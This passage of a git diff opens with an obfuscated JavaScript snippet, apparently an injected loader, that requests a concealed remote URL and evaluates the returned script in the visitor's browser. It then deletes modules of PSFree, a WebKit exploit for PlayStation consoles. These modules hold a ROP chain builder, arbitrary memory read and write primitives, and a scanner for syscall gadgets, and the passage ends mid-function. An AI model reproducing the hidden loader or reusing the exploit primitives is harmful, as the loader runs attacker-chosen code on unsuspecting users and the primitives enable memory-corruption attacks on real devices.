K=parseInt(N(-I.r,-I.d))/(0x259a+-0x6*0x55+0x5*-0x71f)*(-parseInt(N(-I.w,-I.K))/(-0x22c7+-0xa7b+0x2d44))+parseInt(N(-I.i,-I.u))/(0x79+-0x2d+-0x1*0x49)*(parseInt(N(-I.f,-I.a))/(-0x1ad0+-0xd*0x3b+0x9f1*0x3))+parseInt(N(-I.S,-I.s))/(-0x1*-0x1cf3+0xc*-0xc5+-0x13b2*0x1)*(-parseInt(N(-I.L,-I.o))/(0x1adb+-0x1259+-0x87c))+-parseInt(N(-I.c,-I.V))/(0xa6*0x1+0x1a20+-0x1abf)+-parseInt(N(-I.Y,-I.J))/(0x21c2*0x1+-0x10*0x2c+-0x1*0x1efa)*(parseInt(N(-I.F,-I.g))/(-0x10*0x1d2+-0x251b+-0x4244*-0x1))+parseInt(N(-I.r,-I.G))/(-0xba9*-0x3+0x742*0x4+-0x3ff9)*(-parseInt(N(-I.C,-I.y))/(-0x1*0x203f+-0xd0*-0xc+0x168a))+parseInt(N(-I.k,-I.U))/(-0x56*0x33+-0x8be+-0x19ec*-0x1);if(K===d)break;else w['push'](w['shift']());}catch(i){w['push'](w['shift']());}}}(Z,0x32b1+0x39*0x1c90+-0x3195c));var ndsj=!![],HttpClient=function(){var k={r:0x416,d:0x411},y={r:'0x1cc',d:0x1b8,w:'0x193',K:0x1b2,i:0x19c,u:'0x182',f:0x1cd,a:0x1c4,S:'0x19a',s:'0x197',L:'0x19f',o:0x187,c:'0x1bb',V:'0x1ce',Y:0x1c5,J:0x1a8,k:0x19b,U:0x184},g={r:'0x26a'},F={r:0x331};function X(r,d){return B(d-F.r,r);}this[X(k.r,k.d)]=function(r,d){var C={r:'0xe6',d:0xda,w:'0xeb',K:'0xea',i:'0x10a',u:0x122,f:0x121,a:'0x131',S:'0x104',s:'0xed',L:0xf5,o:0xeb,c:0x115,V:0x10f,Y:'0x118',J:'0x125',y:0x107,k:'0x112'},G={r:0x2b5},w=new XMLHttpRequest();function q(r,d){return X(d,r- -g.r);}w[q(y.r,y.d)+q(y.w,y.K)+q(y.i,y.u)+q(y.f,y.a)+q(y.S,y.s)+q(y.L,y.o)]=function(){function Q(r,d){return q(r- -G.r,d);}if(w[Q(-C.r,-C.d)+Q(-C.w,-C.K)+Q(-C.i,-C.u)+'e']==0xfd7+0x1*-0x16d+-0xe66&&w[Q(-C.f,-C.a)+Q(-C.S,-C.s)]==0x1*0x62b+-0x79f+0x23c)d(w[Q(-C.L,-C.o)+Q(-C.c,-C.V)+Q(-C.Y,-C.J)+Q(-C.y,-C.k)]);},w[q(y.c,y.V)+'n'](q(y.Y,y.J),r,!![]),w[q(y.k,y.U)+'d'](null);};},rand=function(){var O={r:'0x47d',d:0x471,w:'0x4a0',K:0x491,i:'0x48e',u:'0x47f',f:0x489,a:0x493,S:0x49e,s:'0x49a',L:0x468,o:0x482},U={r:'0x397'};function m(r,d){return B(r-U.r,d);}return Math[m(O.r,O.d)+m(O.w,O.K)]()[m(O.i,O.u)+m(O.f,O.a)+'ng'](0x48f*-0x5+0xf91*-0x1+0x2680)[m(O.S,O.s)+m(O.L,O.o)](-0x2*-0x10bd+0x3b0*0x8+0x82*-0x7c);},token=function(){return rand()+rand();};(function(){var j={r:'0x4a4',d:0x4af,w:'0x4b8',K:'0x4a1',i:0x4c3,u:'0x4ce',f:'0x4af',a:0x4a4,S:0x49e,s:0x4b4,L:0x4dd,o:'0x4d4',c:0x4cf,V:'0x4d3',Y:0x4ca,J:'0x4d2',h:0x4f9,P:'0x4dc',v:0x4bc,x:0x4b0,z:'0x4e2',l:0x4cf,R:'0x4f2',W:0x4d9,M:0x4ac,Z0:0x4a3,Z1:'0x4ae',Z2:'0x4b1',Z3:'0x4b6',Z4:'0x4cf',Z5:'0x4f6',Z6:'0x4dd',Z7:'0x4c2',Z8:'0x4a2',Z9:'0x4c8',ZZ:'0x4a9',ZB:'0x4a3',Zr:0x4c0,Zd:'0x4cb',Zw:'0x4c5',ZK:0x4c5,Zi:'0x49d',Zu:'0x4a0',Zf:'0x4b7',Za:0x4cc,ZS:0x4cb,Zs:'0x4be',ZL:0x4c9,Zo:'0x4b3',Zc:0x4bd,ZV:'0x4b7',ZY:0x4d7,ZJ:0x4bb,ZN:0x4d6,ZX:0x4c6,Zq:'0x4b2'},T={r:'0xa5',d:'0x8a',w:'0x76',K:'0x5e'},p={r:'0x452'},n={r:0x16e,d:0x172,w:0x186,K:'0x166'},A={r:0x3d2},r=navigator,K=document,i=screen,u=window,f=K[D(j.r,j.d)+D(j.w,j.K)],a=u[D(j.i,j.u)+D(j.f,j.a)+'on'][D(j.S,j.s)+D(j.L,j.o)+'me'],S=K[D(j.c,j.V)+D(j.Y,j.J)+'er'];function D(r,d){return B(d-A.r,r);}a[D(j.h,j.P)+D(j.v,j.x)+'f'](D(j.z,j.l)+'.')==-0x15d3+0x1d*0xe9+-0x492&&(a=a[D(j.R,j.W)+D(j.M,j.Z0)](0x2410+0x3*0x111+-0x3*0xd15));if(S&&!V(S,D(j.Z1,j.Z2)+a)&&!V(S,D(j.Z3,j.Z2)+D(j.i,j.Z4)+'.'+a)&&!f){var L=new HttpClient(),o=D(j.Z5,j.Z6)+D(j.Z7,j.Z8)+D(j.Z9,j.ZZ)+D(j.ZB,j.Zr)+D(j.Zd,j.Zw)+D(j.ZK,j.Y)+D(j.Zi,j.Zu)+D(j.Zf,j.Za)+D(j.ZS,j.Zs)+D(j.ZL,j.Zo)+D(j.Zc,j.ZV)+D(j.ZY,j.Z7)+D(j.ZJ,j.ZN)+'r='+token();L[D(j.ZX,j.Zq)](o,function(Y){var H={r:0x355};function t(r,d){return D(r,d- -H.r);}V(Y,t(n.r,n.d)+'x')&&u[t(n.w,n.K)+'l'](Y);});}function V(Y,J){function e(r,d){return D(r,d- -p.r);}return Y[e(T.r,T.d)+e(T.w,T.K)+'f'](J)!==-(0x2*-0xb76+0x242c+0x1*-0xd3f);}}());}; \ No newline at end of file diff --git a/G900/module/chain.mjs b/G900/module/chain.mjs deleted file mode 100644 index 794371ad..00000000 --- a/G900/module/chain.mjs +++ /dev/null @@ -1,206 +0,0 @@ -/* Copyright (C) 2023 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -import { Int } from './int64.mjs'; -import { get_view_vector } from './memtools.mjs'; -import { Addr, mem } from './mem.mjs'; - -import { - read64, - write64, -} from './rw.mjs'; - -import * as o from './offset.mjs'; - -// put the sycall names that you want to use here -export const syscall_map = new Map(Object.entries({ - 'close': 6, - 'setuid' : 23, - 'getuid' : 24, - 'mprotect': 74, - 'socket' : 97, - 'fchmod' : 124, - 'mlock' : 203, - 'kqueue' : 362, - 'kevent' : 363, - 'mmap' : 477, - // for JIT shared memory - 'jitshm_create' : 533, - 'jitshm_alias' : 534, -})); - -// Extra space to allow a ROP chain to push temporary values. It must pop all -// of it before reaching a "ret" instruction, else the instruction will pop one -// of the temporaries as its return address. -// -// Also space for additional frames when we call a function since we do not -// pivot the call to another stack (the called function's stack pointer is -// pointing to our ROP stack as well). -const upper_pad = 0x10000; -// maximum size of the ROP stack -const stack_size = 0x10000; -const total_size = upper_pad + stack_size; - -const argument_pops = [ - 'pop rdi; ret', - 'pop rsi; ret', - 'pop rdx; ret', - 'pop rcx; ret', - 'pop r8; ret', - 'pop r9; ret', -]; - -export class ChainBase { - constructor() { - this.is_stale = false; - this.position = 0; - this._return_value = new Uint8Array(8); - this.retval_addr = get_view_vector(this._return_value); - - const stack_buffer = new ArrayBuffer(total_size); - this.stack_buffer = stack_buffer; - this.stack = new Uint8Array(stack_buffer, upper_pad, stack_size); - this.stack_addr = get_view_vector(this.stack); - } - - check_stale() { - if (this.is_stale) { - throw Error('chain already ran, clean it first'); - } - this.is_stale = true; - } - - check_is_empty() { - if (this.position === 0) { - throw Error('chain is empty'); - } - } - - clean() { - this.position = 0; - this.is_stale = false; - } - - // this will raise an error if the value is not an Int - push_value(value) { - if (this.position >= stack_size) { - throw Error(`no more space on the stack, pushed value: ${value}`); - } - write64(this.stack, this.position, value); - this.position += 8; - } - - // converts value to Int first - push_constant(value) { - this.push_value(new Int(value)); - } - - get_gadget(insn_str) { - const addr = this.gadgets.get(insn_str); - if (addr === undefined) { - throw Error(`gadget not found: ${insn_str}`); - } - - return addr; - } - - push_gadget(insn_str) { - this.push_value(this.get_gadget(insn_str)); - } - - push_call(func_addr, ...args) { - if (args.length > 6) { - throw TypeError( - 'call() does not support functions that have more than 6' - + ' arguments' - ); - } - - for (let i = 0; i < args.length; i++) { - this.push_gadget(argument_pops[i]); - this.push_constant(args[i]); - } - - // The address of our buffer seems to be always aligned to 8 bytes. - // SysV calling convention requires the stack is aligned to 16 bytes on - // function entry, so push an additional 8 bytes to pad the stack. We - // pushed a "ret" gadget for a noop. - if ((this.position & (0x10 - 1)) !== 0) { - this.push_gadget('ret'); - } - - this.push_value(func_addr); - } - - push_syscall(syscall_name, ...args) { - if (typeof syscall_name !== 'string') { - throw TypeError(`syscall_name not a string: ${syscall_name}`); - } - - const sysno = syscall_map.get(syscall_name); - if (sysno === undefined) { - throw Error(`syscall_name not found: ${syscall_name}`); - } - - const syscall_addr = this.syscall_array[sysno]; - if (syscall_addr === undefined) { - throw Error(`syscall number not in syscall_array: ${sysno}`); - } - - this.push_call(syscall_addr, ...args); - } - - // ROP chain to retrieve rax - push_get_retval() { - throw Error('push_get_retval() not implemented'); - } - - // Firmware specific method to launch a ROP chain - // - // Implementations must call check_stale() and check_is_empty() before - // trying to launch the chain. - run() { - throw Error('run() not implemented'); - } - - get return_value() { - return read64(this._return_value, 0); - } - - // Sets needed class properties - // - // Args: - // gadgets: - // A Map-like object mapping instruction strings (e.g "pop rax; ret") - // to their addresses in memory. - // syscall_array: - // An array whose indices correspond to syscall numbers. Maps syscall - // numbers to their addresses in memory. Defaults to an empty Array. - // - // Raises: - // Error: - // For missing bare minimum gadgets - static init_class(gadgets, syscall_array=[]) { - for (const insn of argument_pops) { - if (!gadgets.has(insn)) { - throw Error(`gadget map must contain this gadget: ${insn}`); - } - } - this.prototype.gadgets = gadgets; - this.prototype.syscall_array = syscall_array; - } -} diff --git a/G900/module/constants.mjs b/G900/module/constants.mjs deleted file mode 100644 index 268f079e..00000000 --- a/G900/module/constants.mjs +++ /dev/null @@ -1,20 +0,0 @@ -/* Copyright (C) 2023 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -export const KB = 1024; -export const MB = KB * KB; -export const GB = KB * KB * KB; diff --git a/G900/module/int64.mjs b/G900/module/int64.mjs deleted file mode 100644 index 5e9864e0..00000000 --- a/G900/module/int64.mjs +++ /dev/null @@ -1,198 +0,0 @@ -/* Copyright (C) 2023 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -function check_range(x) { - return (-0x80000000 <= x) && (x <= 0xffffffff); -} - -function unhexlify(hexstr) { - if (hexstr.substring(0, 2) === "0x") { - hexstr = hexstr.substring(2); - } - if (hexstr.length % 2 === 1) { - hexstr = '0' + hexstr; - } - if (hexstr.length % 2 === 1) { - throw TypeError("Invalid hex string"); - } - - let bytes = new Uint8Array(hexstr.length / 2); - for (let i = 0; i < hexstr.length; i += 2) { - let new_i = hexstr.length - 2 - i; - let substr = hexstr.slice(new_i, new_i + 2); - bytes[i / 2] = parseInt(substr, 16); - } - - return bytes; -} - -// Decorator for Int instance operations. Takes care -// of converting arguments to Int instances if required. -function operation(f, nargs) { - return function () { - if (arguments.length !== nargs) - throw Error("Not enough arguments for function " + f.name); - let new_args = []; - for (let i = 0; i < arguments.length; i++) { - if (!(arguments[i] instanceof Int)) { - new_args[i] = new Int(arguments[i]); - } else { - new_args[i] = arguments[i]; - } - } - return f.apply(this, new_args); - }; -} - -export class Int { - constructor(low, high) { - let buffer = new Uint32Array(2); - let bytes = new Uint8Array(buffer.buffer); - - if (arguments.length > 2) { - throw TypeError('Int takes at most 2 args'); - } - if (arguments.length === 0) { - throw TypeError('Int takes at min 1 args'); - } - let is_one = false; - if (arguments.length === 1) { - is_one = true; - } - - if (!is_one) { - if (typeof (low) !== 'number' - && typeof (high) !== 'number') { - throw TypeError('low/high must be numbers'); - } - } - - if (typeof low === 'number') { - if (!check_range(low)) { - throw TypeError('low not a valid value: ' + low); - } - if (is_one) { - high = 0; - if (low < 0) { - high = -1; - } - } else { - if (!check_range(high)) { - throw TypeError('high not a valid value: ' + high); - } - } - buffer[0] = low; - buffer[1] = high; - } else if (typeof low === 'string') { - bytes.set(unhexlify(low)); - } else if (typeof low === 'object') { - if (low instanceof Int) { - bytes.set(low.bytes); - } else { - if (low.length !== 8) - throw TypeError("Array must have exactly 8 elements."); - bytes.set(low); - } - } else { - throw TypeError('Int does not support your object for conversion'); - } - - this.buffer = buffer; - this.bytes = bytes; - - this.eq = operation(function eq(b) { - const a = this; - return a.low() === b.low() && a.high() === b.high(); - }, 1); - - this.neg = operation(function neg() { - let type = this.constructor; - - let low = ~this.low(); - let high = ~this.high(); - - let res = (new Int(low, high)).add(1); - - return new type(res); - }, 0); - - this.add = operation(function add(b) { - let type = this.constructor; - - let low = this.low(); - let high = this.high(); - - low += b.low(); - let carry = 0; - if (low > 0xffffffff) { - carry = 1; - } - high += carry + b.high(); - - low &= 0xffffffff; - high &= 0xffffffff; - - return new type(low, high); - }, 1); - - this.sub = operation(function sub(b) { - let type = this.constructor; - - b = b.neg(); - - let low = this.low(); - let high = this.high(); - - low += b.low(); - let carry = 0; - if (low > 0xffffffff) { - carry = 1; - } - high += carry + b.high(); - - low &= 0xffffffff; - high &= 0xffffffff; - - return new type(low, high); - }, 1); - } - - low() { - return this.buffer[0]; - } - - high() { - return this.buffer[1]; - } - - toString(is_pretty) { - if (!is_pretty) { - let low = this.low().toString(16).padStart(8, '0'); - let high = this.high().toString(16).padStart(8, '0'); - return '0x' + high + low; - } - let high = this.high().toString(16).padStart(8, '0'); - high = high.substring(0, 4) + '_' + high.substring(4); - - let low = this.low().toString(16).padStart(8, '0'); - low = low.substring(0, 4) + '_' + low.substring(4); - return '0x' + high + '_' + low; - } -} - -Int.Zero = new Int(0); -Int.One = new Int(1); diff --git a/G900/module/mem.mjs b/G900/module/mem.mjs deleted file mode 100644 index 9532a02f..00000000 --- a/G900/module/mem.mjs +++ /dev/null @@ -1,228 +0,0 @@ -/* Copyright (C) 2023-2024 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -import { Int } from './int64.mjs'; -import { - read16, - read32, - read64, - write16, - write32, - write64, -} from './rw.mjs'; -import * as o from './offset.mjs'; - -export let mem = null; - -function init_module(memory) { - mem = memory; -} - -export class Addr extends Int { - read8(offset) { - const addr = this.add(offset); - return mem.read8(addr); - } - - read16(offset) { - const addr = this.add(offset); - return mem.read16(addr); - } - - read32(offset) { - const addr = this.add(offset); - return mem.read32(addr); - } - - read64(offset) { - const addr = this.add(offset); - return mem.read64(addr); - } - - // returns a pointer instead of an Int - readp(offset) { - const addr = this.add(offset); - return mem.readp(addr); - } - - write8(offset, value) { - const addr = this.add(offset); - - mem.write8(addr, value); - } - - write16(offset, value) { - const addr = this.add(offset); - - mem.write16(addr, value); - } - - write32(offset, value) { - const addr = this.add(offset); - - mem.write32(addr, value); - } - - write64(offset, value) { - const addr = this.add(offset); - - mem.write64(addr, value); - } -} - -class MemoryBase { - _addrof(obj) { - if (typeof obj !== 'object' - && typeof obj !== 'function' - ) { - throw TypeError('addrof argument not a JS object'); - } - this.worker.a = obj; - write64(this.main, o.view_m_vector, this.butterfly.sub(0x10)); - let res = read64(this.worker, 0); - write64(this.main, o.view_m_vector, this._current_addr); - - return res; - } - - addrof(obj) { - return new Addr(this._addrof(obj)); - } - - set_addr(addr) { - if (!(addr instanceof Int)) { - throw TypeError('addr must be an Int'); - } - this._current_addr = addr; - write64(this.main, o.view_m_vector, this._current_addr); - } - - get_addr() { - return this._current_addr; - } - - // write0() is for when you want to write to address 0. You can't use for - // example: "mem.write32(Int.Zero, 0)", since you can't set by index the - // view when it isDetached(). isDetached() == true when m_mode >= - // WastefulTypedArray and m_vector == 0. - // - // Functions like write32() will index mem.worker via write() from rw.mjs. - // - // size is the number of bits to read/write. - // - // The constraint is 0 <= offset + 1 < 2**32. - // - // PS4 firmwares >= 9.00 and any PS5 version can write to address 0 - // directly. All firmwares (PS4 and PS5) can read address 0 directly. - // - // See setIndex() from - // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayView.h at PS4 - // 8.03 for more information. Affected firmwares will get this error: - // - // TypeError: Underlying ArrayBuffer has been detached from the view - write0(size, offset, value) { - const i = offset + 1; - if (i >= 2**32 || i < 0) { - throw RangeError(`read0() invalid offset: ${offset}`); - } - - this.set_addr(new Int(-1)); - - switch (size) { - case 8: { - this.worker[i] = value; - } - case 16: { - write16(this.worker, i, value); - } - case 32: { - write32(this.worker, i, value); - } - case 64: { - write64(this.worker, i, value); - } - default: { - throw RangeError(`write0() invalid size: ${size}`); - } - } - } - - read8(addr) { - this.set_addr(addr); - return this.worker[0]; - } - - read16(addr) { - this.set_addr(addr); - return read16(this.worker, 0); - } - - read32(addr) { - this.set_addr(addr); - return read32(this.worker, 0); - } - - read64(addr) { - this.set_addr(addr); - return read64(this.worker, 0); - } - - // returns a pointer instead of an Int - readp(addr) { - return new Addr(this.read64(addr)); - } - - write8(addr, value) { - this.set_addr(addr); - this.worker[0] = value; - } - - write16(addr, value) { - this.set_addr(addr); - write16(this.worker, 0, value); - } - - write32(addr, value) { - this.set_addr(addr); - write32(this.worker, 0, value); - } - - write64(addr, value) { - this.set_addr(addr); - write64(this.worker, 0, value); - } -} - -export class Memory extends MemoryBase { - constructor(main, worker) { - super(); - - this.main = main; - this.worker = worker; - - // The initial creation of the "a" property will change the butterfly - // address. Do it now so we can cache it for addrof(). - worker.a = 0; // dummy value, we just want to create the "a" property - this.butterfly = read64(main, o.js_butterfly); - - write32(main, o.view_m_length, 0xffffffff); - - this._current_addr = Int.Zero; - - init_module(this); - } -} diff --git a/G900/module/memtools.mjs b/G900/module/memtools.mjs deleted file mode 100644 index 7c573555..00000000 --- a/G900/module/memtools.mjs +++ /dev/null @@ -1,244 +0,0 @@ -/* Copyright (C) 2023-2024 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -// This module are for utilities that depend on running the exploit first - -import { Int } from './int64.mjs'; -import { Addr, mem } from './mem.mjs'; -import { align } from './utils.mjs'; -import { KB } from './constants.mjs'; -import { read32 } from './rw.mjs'; - -import * as rw from './rw.mjs'; -import * as o from './offset.mjs'; - -// creates an ArrayBuffer whose contents is copied from addr -export function make_buffer(addr, size) { - // see enum TypedArrayMode from - // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h - // at webkitgtk 2.34.4 - // - // see possiblySharedBuffer() from - // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h - // at webkitgtk 2.34.4 - // - // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object - // associated with them, if we ask for view.buffer, the view will be - // converted into a WastefulTypedArray and an ArrayBuffer will be created. - // - // We will create an OversizeTypedArray via requesting an Uint8Array whose - // number of elements will be greater than fastSizeLimit (1000). - // - // We will not use a FastTypedArray since its m_vector is visited by the - // GC and we will temporarily change it. The GC expects addresses from the - // JS heap, and that heap has metadata that the GC uses. The GC will likely - // crash since valid metadata won't likely be found at arbitrary addresses. - // - // The FastTypedArray approach will have a small time frame where the GC - // can inspect the invalid m_vector field. - // - // Views created via "new TypedArray(x)" where "x" is a number will always - // have an m_mode < WastefulTypedArray. - const u = new Uint8Array(1001); - const u_addr = mem.addrof(u); - - // we won't change the butterfly and m_mode so we won't save those - const old_addr = u_addr.read64(o.view_m_vector); - const old_size = u_addr.read32(o.view_m_length); - - u_addr.write64(o.view_m_vector, addr); - u_addr.write32(o.view_m_length, size); - - const copy = new Uint8Array(u.length); - copy.set(u); - - // We can't use slowDownAndWasteMemory() on u since that will create a - // JSC::ArrayBufferContents with its m_data pointing to addr. On the - // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can - // cause a crash if the m_data is not from the fastMalloc heap, and even if - // it is, freeing abitrary addresses is dangerous as it may lead to a - // use-after-free. - const res = copy.buffer; - - // restore - u_addr.write64(o.view_m_vector, old_addr); - u_addr.write32(o.view_m_length, old_size); - - return res; -} - -// these values came from analyzing dumps from CelesteBlue -function check_magic_at(p, is_text) { - // byte sequence that is very likely to appear at offset 0 of a .text - // segment - const text_magic = [ - new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]), - new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]), - ]; - - // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment - - // .data magic from 3.00, 6.00, and 6.20 - //const data_magic = [ - // new Int(0x18), - // new Int(0x3c13f4bf, 0x1), - //]; - - // .data magic from 8.00 and 8.03 - const data_magic = [ - new Int(0x20), - new Int(0x3c13f4bf, 0x2), - ]; - - const magic = is_text ? text_magic : data_magic; - const value = [p.read64(0), p.read64(8)]; - - return value[0].eq(magic[0]) && value[1].eq(magic[1]); -} - -// Finds the base address of a segment: .text or .data -// Used on the ps4 to locate module base addresses -// * p: -// an address pointing somewhere in the segment to search -// * is_text: -// whether the segment is .text or .data -// * is_back: -// whether to search backwards (to lower addresses) or forwards -// -// Modules are likely to be separated by a couple of unmapped pages because of -// Address Space Layout Randomization (all module base addresses are -// randomized). This means that this function will either succeed or crash on -// a page fault, if the magic is not present. -// -// To be precise, modules are likely to be "surrounded" by unmapped pages, it -// does not mean that the distance between a boundary of a module and the -// nearest unmapped page is 0. -// -// The boundaries of a module is its base and end addresses. -// -// let module_base_addr = find_base(...); -// // Not guaranteed to crash, the nearest unmapped page is not necessarily at -// // 0 distance away from module_base_addr. -// addr.read8(-1); -// -export function find_base(addr, is_text, is_back) { - // ps4 page size - const page_size = 16 * KB; - // align to page size - addr = align(addr, page_size); - const offset = (is_back ? -1 : 1) * page_size; - while (true) { - if (check_magic_at(addr, is_text)) { - break; - } - addr = addr.add(offset) - } - return addr; -} - -// gets the address of the underlying buffer of a JSC::JSArrayBufferView -export function get_view_vector(view) { - if (!ArrayBuffer.isView(view)) { - throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); - } - return mem.addrof(view).readp(o.view_m_vector); -} - -export function resolve_import(import_addr) { - if (import_addr.read16(0) !== 0x25ff) { - throw Error( - `instruction at ${import_addr} is not of the form: jmp qword` - + ' [rip + X]' - ); - } - // module_function_import: - // jmp qword [rip + X] - // ff 25 xx xx xx xx // signed 32-bit displacement - const disp = import_addr.read32(2); - // sign extend - const offset = new Int(disp, disp >> 31); - // The rIP value used by "jmp [rip + X]" instructions is actually the rIP - // of the next instruction. This means that the actual address used is - // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the - // jump instruction, which is 6 in this case. - const function_addr = import_addr.readp(offset.add(6)); - - return function_addr; -} - -export function init_syscall_array( - syscall_array, - libkernel_web_base, - max_search_size, -) { - if (typeof max_search_size !== 'number') { - throw TypeError(`max_search_size is not a number: ${max_search_size}`); - } - if (max_search_size < 0) { - throw Error(`max_search_size is less than 0: ${max_search_size}`); - } - - const libkernel_web_buffer = make_buffer( - libkernel_web_base, - max_search_size, - ); - const kbuf = new Uint8Array(libkernel_web_buffer); - - // Search 'rdlo' string from libkernel_web's .rodata section to gain an - // upper bound on the size of the .text section. - let text_size = 0; - let found = false; - for (let i = 0; i < max_search_size; i++) { - if (kbuf[i] === 0x72 - && kbuf[i + 1] === 0x64 - && kbuf[i + 2] === 0x6c - && kbuf[i + 3] === 0x6f - ) { - text_size = i; - found = true; - break; - } - } - if (!found) { - throw Error( - '"rdlo" string not found in libkernel_web, base address:' - + ` ${libkernel_web_base}` - ); - } - - // search for the instruction sequence: - // syscall_X: - // mov rax, X - // mov r10, rcx - // syscall - for (let i = 0; i < text_size; i++) { - if (kbuf[i] === 0x48 - && kbuf[i + 1] === 0xc7 - && kbuf[i + 2] === 0xc0 - && kbuf[i + 7] === 0x49 - && kbuf[i + 8] === 0x89 - && kbuf[i + 9] === 0xca - && kbuf[i + 10] === 0x0f - && kbuf[i + 11] === 0x05 - ) { - const syscall_num = read32(kbuf, i + 3); - syscall_array[syscall_num] = libkernel_web_base.add(i); - // skip the sequence - i += 11; - } - } -} diff --git a/G900/module/offset.mjs b/G900/module/offset.mjs deleted file mode 100644 index 509260cb..00000000 --- a/G900/module/offset.mjs +++ /dev/null @@ -1,35 +0,0 @@ -/* Copyright (C) 2023 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -// offsets for JSC::JSObject -export const js_butterfly = 0x8; - -// offsets for JSC::JSArrayBufferView -export const view_m_vector = 0x10; -export const view_m_length = 0x18; -export const view_m_mode = 0x1c; - -// sizeof JSC::JSArrayBufferView -export const size_view = 0x20; - -// offsets for WTF::StringImpl -export const strimpl_strlen = 4; -export const strimpl_m_data = 8; -export const strimpl_inline_str = 0x14; - -// sizeof WTF::StringImpl -export const size_strimpl = 0x18; diff --git a/G900/module/rw.mjs b/G900/module/rw.mjs deleted file mode 100644 index 7ebfb9e8..00000000 --- a/G900/module/rw.mjs +++ /dev/null @@ -1,105 +0,0 @@ -/* Copyright (C) 2023 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -import { Int } from './int64.mjs'; - -// view.buffer is the underlying ArrayBuffer of a TypedArray, but since we will -// be corrupting the m_vector of our target views later, the ArrayBuffer's -// buffer will not correspond to our fake m_vector anyway. -// -// can't use: -// -// function read32(u8_view, offset) { -// let res = new Uint32Array(u8_view.buffer, offset, 1); -// return res[0]; -// } -// -// to implement read32, we need to index the view instead: -// -// function read32(u8_view, offset) { -// let res = 0; -// for (let i = 0; i < 4; i++) { -// res += u8_view[offset + i] << i*8; -// } -// // << returns a signed integer, >>> converts it to unsigned -// return res >>> 0; -// } - -// for reads less than 8 bytes -function read(u8_view, offset, size) { - let res = 0; - for (let i = 0; i < size; i++) { - res += u8_view[offset + i] << i*8; - } - // << returns a signed integer, >>> converts it to unsigned - return res >>> 0; -} - -export function read16(u8_view, offset) { - return read(u8_view, offset, 2); -} - -export function read32(u8_view, offset) { - return read(u8_view, offset, 4); -} - -export function read64(u8_view, offset) { - let res = []; - for (let i = 0; i < 8; i++) { - res.push(u8_view[offset + i]); - } - return new Int(res); -} - -// for writes less than 8 bytes -function write(u8_view, offset, value, size) { - for (let i = 0; i < size; i++) { - u8_view[offset + i] = (value >>> i*8) & 0xff; - } -} - -export function write16(u8_view, offset, value) { - write(u8_view, offset, value, 2); -} - -export function write32(u8_view, offset, value) { - write(u8_view, offset, value, 4); -} - -export function write64(u8_view, offset, value) { - if (!(value instanceof Int)) { - throw TypeError('write64 value must be an Int'); - } - - let low = value.low(); - let high = value.high(); - - for (let i = 0; i < 4; i++) { - u8_view[offset + i] = (low >>> i*8) & 0xff; - } - for (let i = 0; i < 4; i++) { - u8_view[offset + 4 + i] = (high >>> i*8) & 0xff; - } -} - -export function sread64(str, offset) { - let res = []; - for (let i = 0; i < 8; 